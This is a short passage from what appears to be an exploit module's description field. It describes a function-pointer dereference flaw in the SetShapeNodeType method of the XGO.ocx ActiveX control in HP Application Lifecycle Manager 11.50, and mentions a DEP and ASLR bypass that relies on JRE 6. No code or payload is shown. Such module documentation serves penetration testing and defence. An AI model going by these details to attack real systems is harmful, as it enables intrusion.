'Description' => %q{
This module exploits a vulnerability within the XGO.ocx ActiveX Control
installed with the HP Application Lifecycle Manager Client. The vulnerability
exists in the SetShapeNodeType method, which allows the user to specify memory
that will be used as an object, through the node parameter. It allows to control
the dereference and use of a function pointer. This module has been successfully
tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
bypass DEP and ASLR.
